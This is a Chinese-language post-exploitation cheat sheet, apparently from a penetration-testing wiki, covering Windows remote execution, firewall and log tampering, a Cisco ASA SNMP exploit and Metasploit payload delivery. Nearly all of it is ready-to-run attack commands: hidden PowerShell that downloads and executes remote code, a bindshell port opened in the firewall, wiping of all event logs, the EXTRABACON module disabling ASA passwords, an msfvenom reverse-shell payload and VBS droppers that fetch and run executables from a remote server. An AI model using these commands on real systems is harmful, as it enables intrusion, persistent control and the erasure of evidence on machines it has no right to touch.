Pentest Wiki Part4 后渗透(一)
字数 1945 2025-08-29 08:32:00
后渗透测试技术详解
0x01 后渗透测试概述
后渗透是渗透测试的关键组成部分,是将自己与普通黑客区分开来的关键阶段。在后渗透阶段,您需要:
- 针对特定系统进行深入分析
- 识别关键基础设施
- 定位企业最重视的信息或数据
- 展示对业务有最大影响的攻击路径
后渗透需要您:
- 了解各系统功能及不同用户角色
- 思考如何利用已获取的权限造成最大影响(如财务系统、知识产权等)
- 像恶意攻击者一样思考:具有创造性、快速适应、依靠智慧而非自动化工具
0x02 远程管理技术
Windows远程管理命令
| 命令 | 描述 |
|---|---|
NET USE \\ip\ipc$ password /user:username |
建立IPC连接 |
NET USE z: \\ip\share$ password /user:username |
映射远程共享为本地驱动器 |
systeminfo /S ComputerName /U username /P password |
查看远程系统信息 |
tasklist /S SERVER /U DOMAIN\username /P password |
查看远程进程列表 |
taskkill /S SERVER /U DOMAIN\username /P password |
终止远程进程 |
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://ip:port/[file]'))" |
远程执行代码 |
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')" |
远程下载文件 |
bitsadmin /transfer systemrepair /download /priority normal http://path/to/file c:\path\local\file |
使用BITS服务下载文件 |
PsExec.exe \\192.168.206.145 -accepteula -u username -p password cmd.exe /c ver |
远程执行命令并返回结果 |
代理设置
set http_proxy=http://your_proxy:your_port
set http_proxy=http://username:password@your_proxy:your_port
set https_proxy=https://your_proxy:your_port
set https_proxy=https://username:password@your_proxy:your_port
端口转发
NETSH INTERFACE portproxy add v4tov4 listenport=LPORT connectaddress=RHOST connectport=RPORT [listenaddress=LHOST protocol=tcp]
0x03 白名单绕过技术
防火墙白名单操作
| 命令 | 描述 |
|---|---|
NETSH FIREWALL show all |
显示允许的程序配置 |
NETSH FIREWALL add allowedprogram C:\Windows\system32\cmd.exe cmd enable |
添加程序到白名单 |
NETSH FIREWALL delete allowedprogram cmd |
从白名单删除程序 |
NETSH FIREWALL add portopening tcp 4444 bindshell enable all |
添加端口到白名单 |
0x04 服务与计划任务
服务创建
sc create servicename type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start servicename
计划任务
net use \\IP\ipc$ password /user:username
at \\ComputerName time "command"
net time [/domain]
0x05 日志清理
del %WINDIR%\*.log /a /s /q /f
wevtutil el # 列出日志文件
for /f %a in ('wevtutil el') do @wevtutil cl "%a" # 清除所有日志
powershell.exe -ep bypass -w hidden -c Clear-Eventlog -Log Application, System, Security
0x06 Cisco ASA设备渗透
CVE-2016-6366漏洞利用
漏洞描述:
- 影响所有版本的SNMP(v1, v2c, v3)
- 缓冲区溢出漏洞
- 需要知道SNMP字符串
- 仅影响以路由和透明防火墙模式配置的系统
利用步骤:
-
使用SNMP登录模块验证凭据:
use auxiliary/scanner/snmp/snmp_login set PASSWORD public set RHOSTS 192.168.206.114 run -
使用漏洞利用模块:
use auxiliary/admin/cisco/cisco_asa_extrabacon set COMMUNITY public set MODE pass-disable set RHOST 192.168.206.114 run -
成功后通过telnet无密码登录:
telnet 192.168.206.114
Cisco ASA基本操作
-
查看版本信息:
show version -
进入特权模式(通常密码为空):
enable -
配置接口IP:
configure terminal interface GigabitEthernet 0/0 ip address 192.168.206.114 255.255.255.0 no shutdown exit -
启用SNMP服务:
snmp-server host inside 192.168.206.1 community 0 public -
启用SSH服务:
username admin password password aaa authentication ssh console LOCAL passwd password crypto key generate rsa modulus 1024 ssh 192.168.206.1 255.255.255.0 inside ssh version 2 -
启用Telnet服务:
aaa authentication telnet console LOCAL telnet 0.0.0.0 0.0.0.0 inside
0x07 Windows Active Directory渗透
在cmd shell中执行Metasploit payload
-
生成VBS格式的payload:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f vbs --arch x86 --platform win -
创建执行脚本msf.vbs:
echo shellcode = WScript.Arguments.Item(0):strXML = "" & shellcode & "":Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject("Scripting.FileSystemObject"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir & "\" & fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir & "\test.exe":Dim adodbstream:Set adodbstream = CreateObject("ADODB.Stream"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject("Wscript.Shell"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir) > %TEMP%\msf.vbs -
执行payload:
cscript.exe %TEMP%\msf.vbs <base64_encoded_payload>
绕过nc shell缓冲区限制
对于较大的payload,可以使用远程加载方式:
-
创建下载执行的vbs脚本:
echo strFileURL = WScript.Arguments.Item(0):Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP"):objXMLHTTP.open "GET", strFileURL, false:objXMLHTTP.send():shellcode = objXMLHTTP.responseText:strXML = "" & shellcode & "":Set oXMLDoc = CreateObject("MSXML2.DOMDocument.3.0"):oXMLDoc.LoadXML(strXML):decode = oXMLDoc.selectsinglenode("B64DECODE").nodeTypedValue:set oXMLDoc = nothing:Dim fso:Set fso = CreateObject("Scripting.FileSystemObject"):Dim tempdir:Dim basedir:Set tempdir = fso.GetSpecialFolder(2):basedir = tempdir & "\" & fso.GetTempName():fso.CreateFolder(basedir):tempexe = basedir & "\test.exe":Dim adodbstream:Set adodbstream = CreateObject("ADODB.Stream"):adodbstream.Type = 1:adodbstream.Open:adodbstream.Write decode:adodbstream.SaveToFile tempexe, 2:Dim wshell:Set wshell = CreateObject("Wscript.Shell"):wshell.run tempexe, 0, true:fso.DeleteFile(tempexe):fso.DeleteFolder(basedir):Set fso = Nothing > %TEMP%\msf.vbs -
从远程服务器加载执行:
START /B cscript.exe %TEMP%\msf.vbs http://192.168.1.100:8080/payload.txt